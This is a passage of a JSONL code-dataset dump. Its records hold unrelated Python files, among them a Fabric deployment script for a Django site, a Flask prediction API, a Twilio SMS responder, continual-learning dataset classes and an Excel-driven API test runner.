\n","sub_path":"day00/ex04/operations.py","file_name":"operations.py","file_ext":"py","file_size_in_byte":839,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"191902118","text":"# Marcelo Campos de Medeiros\n# ADS UNIFIP\n# Estrutura de Repetição\n# 25/03/2020\n\n'''\n33- O Departamento Estadual de Meteorologia lhe contratou para desenvolver\num programa que leia as um conjunto indeterminado de temperaturas,\ne informe ao final a menor e a maior temperaturas informadas,\nbem como a média das temperaturas.\n'''\n\nprint('=' * 40)\nprint('{:=^40}'.format(\" 'PROGRAMA QUE LEIA TEMPERATURAS' \"))\nprint('=' * 40, '\\n')\n\nnum = int(input('Quantas temperaturas vai informar: '))\n\nmaior = 0\nmenor = 0\nsoma = 0\nfor c in range(1, num +1):\n temp = float(input(f'Qual a {c}° temperatura: '))\n soma += temp\n if c == 1:\n maior = temp\n menor = temp\n if temp > maior:\n maior = temp\n if temp < menor:\n menor = temp\nprint(f'A maior temperatura é {maior}\\n'\n f'A menor temperatua é {menor}\\n'\n f'A média da temperatuta é {soma / num}')\n","sub_path":"exerc_33.py","file_name":"exerc_33.py","file_ext":"py","file_size_in_byte":892,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"179848690","text":"#!/bin/python\n# ~/fabfile.py\n# A Fabric file for carrying out various administrative tasks.\n# Tim Sutton, Jan 2013\n\n# To use this script make sure you have fabric and fabtools.\n# pip install fabric fabtools\n\nimport os\nimport getpass\n\nfrom fabric.api import task, env, fastprint, cd, run, sudo, local, prompt\nfrom fabric.contrib.project import rsync_project\nfrom fabric.contrib.files import exists, sed\nfrom fabric.colors import red, blue, green\nfrom fabtools import require\nfrom fabtools.deb import update_index\n# Don't remove even though its unused\n# noinspection PyUnresolvedReferences\nfrom fabtools.vagrant import vagrant\n\n# noinspection PyUnresolvedReferences\nfrom fabgis.dropbox import setup_dropbox, setup_dropbox_daemon\nfrom fabgis.django import setup_apache, build_pil, set_media_permissions\nfrom fabgis.git import update_git_checkout\nfrom fabgis.virtualenv import setup_venv\nfrom fabgis.common import setup_env, show_environment\nfrom fabgis.postgres import (\n create_user,\n get_postgres_dump,\n restore_postgres_dump,\n setup_postgis_2,\n create_postgis_2_template)\n\n\ndef get_vars():\n \"\"\"Helper method to get standard deployment vars.\n\n :returns: A tuple containing the following:\n * base_path: Workspace dir e.g. ``/home/foo/python``\n * code_path: Project dir e.g. ``/home/foo/python/visual_changelog``\n * git_url: Url for git checkout - use http for read only checkout\n * repo_alias: Name of checkout folder e.g. ``visual_changelog``\n * site_name: Name for the web site e.g. ``visual_changelog``\n\n :rtype: tuple\n \"\"\"\n setup_env()\n site_name = 'visual_changelog'\n base_path = os.path.abspath(os.path.join(\n env.fg.home, 'dev', 'python'))\n git_url = 'http://github.com/timlinux/visual_changelog.git'\n repo_alias = 'visual_changelog'\n code_path = os.path.abspath(os.path.join(base_path, repo_alias))\n return base_path, code_path, git_url, repo_alias, site_name\n\n@task\ndef update_venv(code_path):\n \"\"\"Update the virtual environment to ensure it has node etc. installed.\n\n :param code_path: Directory in which project is located.\n :type code_path: str\n\n e.g.::\n\n fab -H localhost update_venv:/home/timlinux/dev/python/visual_changelog\n \"\"\"\n setup_venv(code_path, requirements_file='REQUIREMENTS.txt')\n #yuglify needed by django-compress needs to have node installed which\n # is provided by virtual-node in the REQUIREMENTS file above,\n # but we still need to install yuglify manually since we cant add it\n # using REQUIREMENTS.\n # See also https://github.com/elbaschid/virtual-node\n # for more info on how virtualnode works\n with cd(code_path):\n run('venv/bin/npm -g install yuglify')\n build_pil(code_path)\n\n\n@task\ndef setup_postgres_user():\n \"\"\"Set up the postgresql instance.\"\"\"\n create_user('wsgi', '')\n\n@task\ndef upload_postgres_dump(dump_path):\n \"\"\"Upload the dump found in dump_path and restore it to the server.\n\n .. note existing data on the server will be destroyed.\n\n :param dump_path: Local file containing dump to be restored.\n :type dump_path; str\n \"\"\"\n restore_postgres_dump(\n 'changelog',\n user='wsgi',\n password='',\n ignore_permissions=True,\n file_name=dump_path)\n\n\n@task\ndef update_apache():\n \"\"\"Update the apache configuration prompting for github account info.\n\n .. note:: The config file is taken from the local system.\n\n \"\"\"\n code_path = os.path.dirname(__file__)\n\n git_url = 'https://api.github.com/repos/timlinux/visual_changelog/issues'\n git_user = prompt(\n 'Please enter the github user account that issues submitted via the\\n'\n 'web ui should be created as. This will be written into the apache\\n'\n 'configuration file under /etc/apache2/sites-available so you\\n'\n 'should take appropriate security measures.\\nUser :\\n')\n git_password = getpass.getpass()\n domain = 'changelog.linfiniti.com'\n setup_apache(\n site_name='visual_changelog',\n code_path=code_path,\n domain=domain,\n github_url=git_url,\n github_password=git_password,\n github_user=git_user)\n\n\n@task\ndef deploy():\n \"\"\"Initialise or update the git clone - you can safely rerun this.\n\n e.g. to update the server\n\n fab -H deploy\n\n \"\"\"\n # Ensure we have a mailserver setup for our domain\n # Note that you may have problems if you intend to run more than one\n # site from the same server\n setup_env()\n show_environment()\n setup_postgis_2()\n base_path, code_path, git_url, repo_alias, site_name = get_vars()\n\n fastprint('Checking out %s to %s as %s' % (git_url, base_path, repo_alias))\n update_git_checkout(base_path, git_url, repo_alias)\n update_index()\n require.postfix.server(site_name)\n update_apache(code_path, site_name)\n require.deb.package('libpq-dev')\n require.deb.package('libgeos-c1')\n require.deb.package('vim')\n update_venv(code_path)\n with cd(os.path.join(code_path, 'django_project')):\n run('../venv/bin/python manage.py syncdb --noinput ')\n run('../venv/bin/python manage.py migrate')\n set_db_permissions()\n # if we are testing under vagrant, deploy our local media and db\n if 'vagrant' in env.fg.home:\n with cd(code_path):\n run('cp /vagrant/visual_changelog.db .')\n run('touch django_project/core/wsgi.py')\n\n sync_media_to_server()\n collectstatic()\n fastprint('*******************************************\\n')\n fastprint(red(' Don\\'t forget set ALLOWED_HOSTS in '))\n fastprint(' django_project/core/settings/prod.py')\n fastprint(' to the domain name for the site.')\n fastprint('*******************************************\\n')\n\n\n@task\ndef freshen():\n \"\"\"Freshen the server with latest git copy and touch wsgi.\n\n .. note:: Preferred normal way of doing this is rather to use the\n sync_project_to_server task and not to checkout from git.\n\n \"\"\"\n base_path, code_path, git_url, repo_alias, site_name = get_vars()\n git_url = 'http://github.com/timlinux/visual_changelog.git'\n update_git_checkout(base_path, git_url, repo_alias)\n with cd(os.path.join(code_path, 'django_project')):\n run('touch core/wsgi.py')\n collectstatic()\n\n fastprint('*******************************************\\n')\n fastprint(red(' Don\\'t forget set ALLOWED_HOSTS in \\n'))\n fastprint(' django_project/core/settings/prod.py\\n')\n fastprint(' to the domain name for the site.\\n')\n fastprint('*******************************************\\n')\n\n@task\ndef sync_media_to_server():\n \"\"\"Sync media to server from local filesystem.\"\"\"\n base_path, code_path, git_url, repo_alias, site_name = get_vars()\n remote_path = os.path.join(code_path, 'django_project', 'media')\n local_path = os.path.join(\n os.path.dirname(__file__), 'django_project', 'media/')\n rsync_project(\n remote_path,\n local_dir=local_path,\n exclude=['*.pyc', '*.py', '.DS_Store'])\n\n # Now our sqlite db\n remote_path = os.path.join(\n code_path, 'resources', 'sqlite', 'visual_changelog.db')\n local_path = os.path.join(\n os.path.dirname(__file__), 'resources/sqlite/visual_changelog.db')\n rsync_project(\n remote_path,\n local_dir=local_path,\n exclude=['*.pyc', '*.py', '.DS_Store'])\n set_media_permissions(code_path)\n set_db_permissions()\n\n\n@task\ndef sync_project_to_server():\n \"\"\"Synchronize project with webserver ignoring venv and sqlite db..\n This is a handy way to get your secret key to the server too...\n\n \"\"\"\n base_path, code_path, git_url, repo_alias, site_name = get_vars()\n rsync_project(\n base_path,\n delete=False,\n exclude=[\n '*.pyc',\n '.git',\n '.DS_Store',\n 'visual_changelog.db',\n 'venv',\n 'django_project/static'])\n with cd(os.path.join(code_path, 'django_project')):\n run('touch core/wsgi.py')\n set_media_permissions(code_path)\n set_db_permissions()\n collectstatic()\n fastprint(blue('Your server is now in synchronised to your local project'))\n\n@task\ndef server_to_debug_mode():\n \"\"\"Put the server in debug mode (normally not recommended).\"\"\"\n base_path, code_path, git_url, repo_alias, site_name = get_vars()\n config_file = os.path.join(\n code_path, 'django_project', 'core', 'settings', 'project.py')\n sed(\n config_file,\n 'DEBUG = TEMPLATE_DEBUG = False',\n 'DEBUG = TEMPLATE_DEBUG = True')\n with cd(os.path.join(code_path, 'django_project')):\n run('touch core/wsgi.py')\n set_db_permissions()\n collectstatic()\n fastprint(red('Warning: your server is now in DEBUG mode!'))\n\n@task\ndef server_to_production_mode():\n \"\"\"Put the server in production mode (recommended).\"\"\"\n base_path, code_path, git_url, repo_alias, site_name = get_vars()\n config_file = os.path.join(\n code_path, 'django_project', 'core', 'settings', 'project.py')\n sed(\n config_file,\n 'DEBUG = TEMPLATE_DEBUG = True',\n 'DEBUG = TEMPLATE_DEBUG = False')\n with cd(os.path.join(code_path, 'django_project')):\n run('touch core/wsgi.py')\n set_db_permissions()\n collectstatic()\n fastprint(blue('Note: your server is now in PRODUCTION mode!'))\n\n\n@task\ndef set_db_permissions():\n \"\"\"Set the db so user wsgi has all permissions.\n \"\"\"\n user = 'wsgi'\n dbname = 'changelog'\n grant_sql = 'GRANT ALL ON schema public to %s;' % user\n # assumption is env.repo_alias is also database name\n run('psql %s -c \"%s\"' % (dbname, grant_sql))\n grant_sql = (\n 'GRANT ALL ON ALL TABLES IN schema public to %s;' % user)\n # assumption is env.repo_alias is also database name\n run('psql %s -c \"%s\"' % (dbname, grant_sql))\n grant_sql = (\n 'GRANT ALL ON ALL SEQUENCES IN schema public to %s;' % user)\n run('psql %s -c \"%s\"' % (dbname, grant_sql))\n\n\n@task\ndef get_live_db():\n \"\"\"Get the live db - will overwrite your local copy.\"\"\"\n get_postgres_dump('changelog')\n\n@task\ndef get_live_media():\n \"\"\"Get the live media - will overwrite your local copy.\"\"\"\n base_path, code_path, git_url, repo_alias, site_name = get_vars()\n path = '%s/django_project/media' % code_path\n if not exists(path):\n run('mkdir %s' % path)\n local('rsync -ave ssh %s:%s/django_project/media/* django_project/media/'\n % (env['host_string'], code_path))\n\n@task\ndef collectstatic():\n \"\"\"Collect static using proper path for django-compressor / yuglify.\n\n .. note:: We are using python-node to run node in a virtual environment.\n Node is needed for yuglify, which is in turn needed by\n django-compressor which combines all js resources into a single file\n and all css into a single file. These are 'compiled' but yuglify.\n Yuglify does not appear in the path properly thus we explicitly\n ensure the path points to the node_modules dir before running\n collectstatic.\n\n All the above will prevent run time errors like:\n\n [Django] ERROR: Failed to submit message: u\"ValueError: The file\n 'css/contrib.css' could not be found with .\"\n\n \"\"\"\n command = ('PATH=$PATH:../node_modules/yuglify/bin/:../venv/bin/ '\n '../venv/bin/python manage.py collectstatic --noinput')\n base_path, code_path, git_url, repo_alias, site_name = get_vars()\n with cd(os.path.join(code_path, 'django_project')):\n run(command)\n\n@task\ndef update_migrations():\n \"\"\"Apply any pending south migrations.\n \"\"\"\n command = ('../venv/bin/python manage.py migrate changes')\n base_path, code_path, git_url, repo_alias, site_name = get_vars()\n with cd(os.path.join(code_path, 'django_project')):\n run(command)\n run('touch core/wsgi.py')\n fastprint(green('Note: your server is now has the latest SOUTH '\n 'migrations applied.'))\n","sub_path":"fabfile.py","file_name":"fabfile.py","file_ext":"py","file_size_in_byte":12063,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"203613393","text":"from SingleLinkList import Node, SingleLinkList\n\ndef reverseList(head: Node) -> SingleLinkList:\n '''翻转链表'''\n if not head:\n return SingleLinkList()\n # cur 是遍历指针\n cur = head.next\n # pre是cur的前驱节点\n pre = None\n head.next = None\n\n while cur:\n pre = cur\n cur = cur.next\n pre.next = head\n head = pre\n return SingleLinkList(head)\n","sub_path":"language/python/data_structure_python/reverseList.py","file_name":"reverseList.py","file_ext":"py","file_size_in_byte":413,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"23583764","text":"from abc import ABC, abstractmethod\nfrom typing import Union\nimport numpy as np\nfrom torch.utils.data import BatchSampler, RandomSampler\nfrom continual_ai.base import ClassificationDataset\n\n\nclass ClassificationTask(ClassificationDataset):\n def __init__(self, base_dataset: ClassificationDataset, task_labels: np.ndarray, labels_map: np.ndarray,\n batch_size=16):\n\n self.__current_y = 'task'\n self.batch_size = batch_size\n self.__subset = 'train'\n self.index = None\n self.current_batch_size = None\n self.current_sampler = None\n\n self.dataset_labels = []\n self.task_labels = []\n\n x_train, old_y_train, y_train = self.extract_labels(base_dataset,\n labels=task_labels, labels_map=labels_map, split='train')\n x_test, old_y_test, y_test = self.extract_labels(base_dataset,\n labels=task_labels, labels_map=labels_map, split='test')\n x_dev, old_y_dev, y_dev = self.extract_labels(base_dataset,\n labels=task_labels, labels_map=labels_map, split='dev')\n\n super(ClassificationTask, self).__init__(x_train=x_train, y_train=y_train, x_dev=x_dev, y_dev=y_dev,\n x_test=x_test, y_test=y_test, transformer=None,\n target_transformer=None)\n\n self.final_transformer = base_dataset.transformer\n self.final_target_transformer = base_dataset.target_transformer\n\n self._old_y_train = old_y_train\n self._old_y_test = old_y_test\n self._old_y_dev = old_y_dev\n\n self.t2d = dict(zip(y_train, old_y_train))\n self.d2t = dict(zip(old_y_train, y_train))\n\n for i, j in self.t2d.items():\n self.dataset_labels.append(j)\n self.task_labels.append(i)\n\n def extract_labels(self, dataset: ClassificationDataset, labels: np.ndarray, labels_map: np.ndarray, split='train'):\n assert split in ['train', 'test', 'dev']\n getattr(dataset, split)()\n\n if dataset.x is None:\n return dataset.x, dataset.y, dataset.y\n\n idx = np.arange(len(dataset))\n x, y = dataset.data\n\n idx_c = idx[np.in1d(y, labels)]\n\n x = x[idx_c]\n y = y[idx_c]\n\n new_y = labels_map[y]\n\n return x, y, new_y\n\n def set_labels_type(self, s):\n assert s in ['task', 'dataset']\n self.__current_y = s\n\n def _y(self):\n if self.__current_y == 'task':\n y = super(ClassificationTask, self)._y()\n else:\n y = getattr(self, F'_old_y_{self._split}')\n\n return y\n\n def __len__(self):\n return super(ClassificationTask, self).__len__() # // self.batch_size + 1\n\n def __call__(self, batch_size=None, sampler=None):\n self.current_batch_size = batch_size\n return self\n\n def __iter__(self):\n\n batch = self.batch_size\n sampler = RandomSampler(self)\n\n if self.current_batch_size is not None:\n batch = self.current_batch_size\n self.current_batch_size = None\n\n if self.current_sampler is not None:\n sampler = self.current_sampler\n self.current_sampler = None\n\n for idx in BatchSampler(batch_size=batch, sampler=sampler, drop_last=False):\n x, y, idxs = [], [], []\n for i in idx:\n _i, _x, _y = self[i]\n x.append(_x)\n y.append(_y)\n idxs.append(_i)\n\n if self.final_transformer is not None:\n x = self.final_transformer(x)\n\n if self.final_target_transformer is not None:\n y = self.final_target_transformer(y)\n\n yield idxs, x, y\n\n def sample(self, size):\n for idx in BatchSampler(batch_size=size, sampler=RandomSampler(self), drop_last=False):\n x, y, idxs = [], [], []\n for i in idx:\n _i, _x, _y = self[i]\n x.append(_x)\n y.append(_y)\n idxs.append(_i)\n\n if self.final_transformer is not None:\n x = self.final_transformer(x)\n\n if self.final_target_transformer is not None:\n y = self.final_target_transformer(y)\n\n return idxs, x, y\n\n\nclass TasksContainer(ABC):\n def __init__(self, dataset: ClassificationDataset, labels_per_task: int, batch_size: int,\n shuffle_labels: bool = False,\n random_state: Union[np.random.RandomState, int] = None):\n\n self._tasks = list()\n self._current_task = 0\n self.current_batch_size = None\n\n if random_state is None or isinstance(random_state, int):\n self.RandomState = np.random.RandomState(random_state)\n elif isinstance(random_state, np.random.RandomState):\n self.RandomState = random_state\n\n self.generate_tasks(dataset, labels_per_task=labels_per_task, batch_size=batch_size,\n shuffle_labels=shuffle_labels)\n\n for i, t in enumerate(self._tasks):\n setattr(t, 'index', i)\n\n def __len__(self):\n return len(self._tasks)\n\n @abstractmethod\n def generate_tasks(self, dataset: ClassificationDataset, labels_per_task: int, batch_size: int,\n shuffle_labels: bool = False):\n raise NotImplementedError\n\n def add_task(self, task):\n self._tasks.append(task)\n\n @property\n def task(self):\n return self._tasks[self._current_task]\n\n @task.setter\n def task(self, v: int):\n if v > len(self):\n raise ValueError('ERROR (MODIFICARE)')\n self._current_task = v\n\n def __getitem__(self, i: int):\n if i > len(self):\n raise ValueError('ERROR (MODIFICARE)')\n return self._tasks[i]\n\n def __iter__(self):\n for t in self._tasks:\n yield t","sub_path":"continual_ai/cl_settings/base.py","file_name":"base.py","file_ext":"py","file_size_in_byte":6014,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"468197040","text":"#!/usr/bin/env python\n\n\nimport os\nimport shutil\nimport sys\n\n\nif not os.environ.get(\"TEST_NOTEBOOKS\"):\n sys.exit(0)\n\nfor each in list(sys.argv[1:]) + [\n \"data.tif\",\n \"data.h5\",\n \"data_trim.h5\",\n \"data_dn.h5\",\n \"data_reg.h5\",\n \"data_sub.h5\",\n \"data_f_f0.h5\",\n \"data_wt.h5\",\n \"data_norm.h5\",\n \"data_dict.h5\",\n \"data_post.h5\",\n \"data_traces.h5\",\n \"data_rois.h5\",\n \"data_proj.h5\",\n \"data.zarr\",\n \"data_trim.zarr\",\n \"data_dn.zarr\",\n \"data_reg.zarr\",\n \"data_sub.zarr\",\n \"data_f_f0.zarr\",\n \"data_wt.zarr\",\n \"data_norm.zarr\",\n \"data_dict.zarr\",\n \"data_post.zarr\",\n \"data_traces.zarr\",\n \"data_rois.zarr\",\n \"data_proj.zarr\",\n \"data_proj.html\"]:\n if os.path.isfile(each):\n os.remove(each)\n elif os.path.isdir(each):\n shutil.rmtree(each)\n","sub_path":"teardown_tests.py","file_name":"teardown_tests.py","file_ext":"py","file_size_in_byte":832,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"55866479","text":"# Wykorzystując komendę with zapisz kilka linijek tekstu do pliku a następnie wyświetl je na ekranie.\n\n\nwith open('zad3.txt', 'w+') as plik: \n plik.write(\"Hello world !\\n\")\n plik.write(\"Witaj świecie !\\n\")\n plik.write(\"Hallo Welt !\\n\") \n\n\nwith open(\"zad3.txt\", \"r\") as plik:\n for linia in plik:\n print(linia, end=\"\")","sub_path":"lab5/zad3.py","file_name":"zad3.py","file_ext":"py","file_size_in_byte":347,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"97764280","text":"def interleave(l):\r\n max_len = max(map(len, l))\r\n formed_list = []\r\n interleaved_list = []\r\n for i in range(len(l)):\r\n diff_len = max_len - len(l[i])\r\n formed_list.append(l[i] + [None]*diff_len)\r\n for i in range(max_len):\r\n for j in range(len(formed_list)):\r\n interleaved_list.append(formed_list[j][i])\r\n none_num = interleaved_list.count(None)\r\n for i in range(none_num):\r\n interleaved_list.remove(None)\r\n return interleaved_list\r\n\r\ndef funky_merge(*objs):\r\n objs = list(objs)[:]\r\n out_obj = {}\r\n used_key = []\r\n all_key = set()\r\n for obj in objs:\r\n for key in obj.keys():\r\n all_key = all_key | set(key)\r\n for key in all_key:\r\n all_list = []\r\n all_obj = []\r\n value_type = ''\r\n for j in range(len(objs)):\r\n value = objs[j].get(key)\r\n value_type = type(value)\r\n if not value:\r\n continue\r\n if value_type is int:\r\n out_obj[key] = value\r\n if value_type is list:\r\n all_list.append(value)\r\n if value_type is dict:\r\n all_obj.append(value)\r\n if value_type is list:\r\n interleaved_list = interleave(all_list)\r\n out_obj[key] = interleaved_list\r\n if value_type is dict:\r\n out_obj[key] = funky_merge(*all_obj)\r\n return out_obj\r\n\r\ndef main():\r\n obj1 = {\"a\":1,\"b\":{\"c\":2,\"d\":[2,0],\"e\":4}}\r\n obj2 = {\"a\":2,\"b\":{\"c\":1,\"d\":[1,2,3],\"f\":5}}\r\n obj3 = {\"b\":{\"d\":[4]}}\r\n data = [obj1,obj2,obj3]\r\n\r\n result = funky_merge(*data)\r\n print(result)\r\n\r\n\r\nif __name__ == '__main__':\r\n main()\r\n","sub_path":"others/funky_merge/funky_merge.py","file_name":"funky_merge.py","file_ext":"py","file_size_in_byte":1686,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"35658968","text":"import sys\nfrom flask import Flask\nfrom flask import jsonify\nfrom flask_restful import Api\nfrom flask_restful import Resource\nfrom flask_restful import reqparse\nfrom sklearn.externals import joblib\nimport pandas as pd\n\n\napp = Flask(__name__)\napi = Api(app)\nparser = reqparse.RequestParser()\nparser.add_argument(\"sample_uuid\", type=str)\n# add features for model\nfor feature in ['approx_payout_date', 'body_length', 'channels', 'event_created', 'event_end', 'event_start',\n 'fb_published', 'has_analytics','has_logo', 'name_length', 'num_order', 'num_payouts', 'object_id',\n 'sale_duration2', 'show_map', 'user_age', 'user_created', 'user_type']:\n parser.add_argument(feature, type=int)\n\n\nclass Predict(Resource):\n def __init__(self, *args, **kwargs):\n super(Predict, self).__init__(*args, **kwargs)\n self.model_file = 'api/best_model.pkl'\n self.load_model()\n\n def get(self):\n arguments = parser.parse_args()\n # transform to pandas and remove user id\n arguments_df = pd.DataFrame.from_dict(arguments, orient='index').T\n arguments_df.pop('sample_uuid')\n result = {\n 'probability': self.model.predict_proba(arguments_df)[0, 1],\n 'label': int(self.model.predict(arguments_df)[0]),\n 'sample_uuid': arguments['sample_uuid'],\n }\n return jsonify(**result)\n\n def load_model(self):\n self.model = joblib.load(self.model_file)\n return self\n\n\napi.add_resource(Predict, '/api/v1/predict')\n\nif __name__ == '__main__':\n app.run(host='0.0.0.0', debug=False, port=5000)","sub_path":"api/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1613,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"270268741","text":"# /usr/bin/env python\n\n'''\nThis acts like a server\n'''\nfrom flask import Flask, request\nfrom twilio.twiml.messaging_response import MessagingResponse\n# My common methods\nfrom commonMethods import *\n\n# This can be any service/product/customer care/emergency services number\n# twilioNumber = \"yyy\"\n# customerNumber = \"xxx\"\n\napp = Flask(__name__)\n\n@app.route(\"/sms\", methods=['GET', 'POST'])\ndef sms_reply():\n \"\"\"Respond to incoming messages and create a conversation\"\"\"\n txMsgBody = \"\"\n\n rxFromNumber = request.values.get('From')\n rxMsgBody = request.values.get('Body')\n rxMsgBody = rxMsgBody.capitalize()\n\n if any( [rxMsgBody == \"Yes\", rxMsgBody == \"Y\"] ):\n txMsgBody += \"Great! \"\n elif any( [rxMsgBody == \"No\", rxMsgBody == \"N\"] ):\n txMsgBody += \"Okay. I'll check with next in line\"\n else:\n txMsgBody += \"Do you mind getting with Shrek? \"\n\n # Start our response\n resp = MessagingResponse()\n\n # Add a message\n txMsgBody += greetingString('end')\n resp.message(txMsgBody)\n\n return str(resp)\n\nif __name__ == \"__main__\":\n app.run(debug=True)","sub_path":"run.py","file_name":"run.py","file_ext":"py","file_size_in_byte":1128,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"330175909","text":"#!/usr/bin/env python\nimport argparse\nfrom rhscripts.conversion import rtx_to_nii\nfrom rhscripts.version import __show_version__\n\n\n__scriptname__ = 'rtx2nii'\n__version__ = '0.0.1'\n\n##\n# RTX2NII python script\n# VERSIONS:\n# - 0.0.1 :: 2021-06-15 : Added script as a copy of rtx2mnc\n\nparser = argparse.ArgumentParser(description='RTX2NII.')\nparser.add_argument('RTX', help='Path to the DICOM RTX file', nargs='?')\nparser.add_argument('container', help='Path to the Nifty container file', nargs='?')\nparser.add_argument('output', help='Path to the OUTPUT Nifty RT file', nargs='?')\nparser.add_argument('--behavior', help='Choose how to convert to polygon. Options: default, mirada',type=str,default='default')\nparser.add_argument(\"--verbose\", help=\"increase output verbosity\", action=\"store_true\")\n#parser.add_argument(\"--copy_name\", help=\"Copy the name of the RTstruct (defined in Mirada) to the tag dicom_0x0008:el_0x103e of the MNC file\", action=\"store_true\")\nparser.add_argument(\"--version\", help=\"Print version\", action=\"store_true\")\n\nargs = parser.parse_args()\n\nif args.version:\n\tprint('%s version: %s' % (__scriptname__,__version__))\n\t__show_version__()\n\texit(-1)\n\nif not args.RTX or not args.container or not args.output:\n\tparser.print_help()\n\tprint('Too few arguments')\n\texit(-1)\n\nrtx_to_nii(dcmfile=args.RTX,\n nii_container_file = args.container,\n nii_output_file = args.output,\n behavior=args.behavior,\n verbose=args.verbose,\n copy_name=False) # not yet implemented\n","sub_path":"conversion/rtx2nii.py","file_name":"rtx2nii.py","file_ext":"py","file_size_in_byte":1524,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"545575598","text":"# -*- coding: utf-8 -*-\n\"\"\"\nThis module contains the slc.shoppinglist package\n\"\"\"\nimport os\nfrom setuptools import setup, find_packages\n\ndef read(*rnames):\n return open(os.path.join(os.path.dirname(__file__), *rnames)).read()\n\nversion = '1.5'\n\nlong_description = (\n read('README.txt')\n + '\\n' +\n 'Change history\\n'\n '**************\\n'\n + '\\n' +\n read('CHANGES.txt')\n + '\\n' +\n 'Detailed Documentation\\n'\n '**********************\\n'\n + '\\n' +\n read('slc', 'shoppinglist', 'README.txt')\n + '\\n' +\n 'Contributors\\n'\n '************\\n'\n + '\\n' +\n read('CONTRIBUTORS.txt')\n + '\\n' \n )\n\nsetup(name='slc.shoppinglist',\n version=version,\n description=\"A shoppinglist of UIDs\",\n long_description=long_description,\n # Get more strings from http://www.python.org/pypi?%3Aaction=list_classifiers\n classifiers=[\n \"Framework :: Plone\",\n \"Programming Language :: Python\",\n \"Topic :: Software Development :: Libraries :: Python Modules\",\n \"License :: OSI Approved :: GNU General Public License (GPL)\",\n \"License :: OSI Approved :: European Union Public Licence 1.1 (EUPL 1.1)\",\n ],\n keywords='',\n author='syslab.com',\n author_email='thomas@syslab.com',\n url='http://www.syslab.com',\n license='GPL + EUPL',\n packages=find_packages(exclude=['ez_setup']),\n namespace_packages=['slc'],\n include_package_data=True,\n zip_safe=False,\n install_requires=[\n 'setuptools',\n # -*- Extra requirements: -*-\n ],\n extras_require={\n 'test': [\n 'plone.app.testing',\n 'mock',\n ],\n },\n entry_points=\"\"\"\n [z3c.autoinclude.plugin]\n target = plone\n \"\"\",\n )\n","sub_path":"pypi_install_script/slc.shoppinglist-1.5/setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1797,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"438540821","text":"\"\"\"\n@author: wangyaxiong\n@time: 2018/10/31\n@desc:1、发送请求 2、断言返回结果 3、记录并返回所有、成功、失败、错误用例数\n\n\"\"\"\n\nimport json,os,yaml\nfrom mylib.getcase import GetCase\nfrom mylib.myrequest import MyRequest\nfrom mylib.getconf import GetConf\nfrom mylib.mylog import logger\n\nclass SendRequest:\n\n def __init__(self,server,method,contentType,secret,path,params,exceptResult,env):\n self.server = server\n self.method = method\n self.contentType = contentType\n self.secret = secret\n self.path = path\n self.params = params\n self.exceptResult = exceptResult\n self.env = env\n self.dir = os.path.dirname(os.path.dirname(__file__))\n self.yamlFile = os.path.join(self.dir,'conf','conf.yaml')\n \n def get_conf(self):\n try:\n with open(self.yamlFile,'r',encoding='UTF-8') as f:\n yamlLoad = yaml.load(f)\n except Exception as e:\n logger.error('获取配置失败,原因:{}'.format(e))\n else:\n return yamlLoad\n\n def assertRequest(self):\n result = []\n successCaseNo = 0\n failureCaseNo = 0\n errCaseNo = 0\n allCaseNo = 0\n req = MyRequest()\n conf = self.get_conf()\n url = conf[self.env]['url']\n for i in range(0,len(self.method)):\n complete_url = 'http://' + self.server[i] + url + self.path[i]\n accessKey = conf[self.env][self.server[i]]['accessKey']\n if self.method[i] == 'POST' and self.contentType[i] == 'x-www-form-urlencoded' and self.secret[i] == 'no':\n result1 = req.postForm(complete_url,self.params[i])\n resultToJson = json.loads(self.exceptResult[i])\n if result1 == 'error':\n errCaseNo += 1\n allCaseNo += 1 \n result.append('ERROR')\n elif result1 != resultToJson :\n failureCaseNo += 1\n allCaseNo += 1\n result.append('FAILURE')\n logger.info('不符合预期,期望结果:{},实际结果:{}'.format(result1,resultToJson))\n elif result1 == resultToJson :\n successCaseNo += 1\n allCaseNo += 1\n result.append('SCCESS')\n logger.info('符合预期,期望结果:{},实际结果:{}'.format(result1,resultToJson))\n elif self.method[i] == 'POST' and self.contentType[i] == 'json' and self.secret[i] == 'yes':\n result1 = req.post_json_sign(complete_url,self.server[i],accessKey,self.params[i])\n resultToJson = json.loads(self.exceptResult[i])\n if result1 == 'error':\n errCaseNo += 1\n allCaseNo += 1\n result.append('ERROR')\n elif result1 != resultToJson :\n failureCaseNo += 1\n allCaseNo += 1\n result.append('FAILURE')\n logger.info('不符合预期,期望结果:{},实际结果:{}'.format(result1,resultToJson))\n elif result1 == resultToJson :\n successCaseNo += 1\n allCaseNo += 1\n result.append('SCCESS')\n logger.info('符合预期,期望结果:{},实际结果:{}'.format(result1,resultToJson))\n else:\n errCaseNo += 1\n allCaseNo += 1\n result.append('ERROR') \n \n return allCaseNo,successCaseNo,failureCaseNo,errCaseNo,result\n \nif __name__ == \"__main__\":\n filepath = r\"d:\\apiTest\\data\\case.xlsx\"\n sheet = 'customer'\n get_case = GetCase()\n env = 'test231'\n caseid,name,method,contentType,module,path,params,exceptResult = get_case.readExcel(filepath,sheet)\n SendRequest(caseid,name,method,contentType,module,path,params,exceptResult,env).assertRequest()\n\n # caseid,name,method,contentType,path,params,assertion = readExcel(filepath,\"Sheet1\")\n # 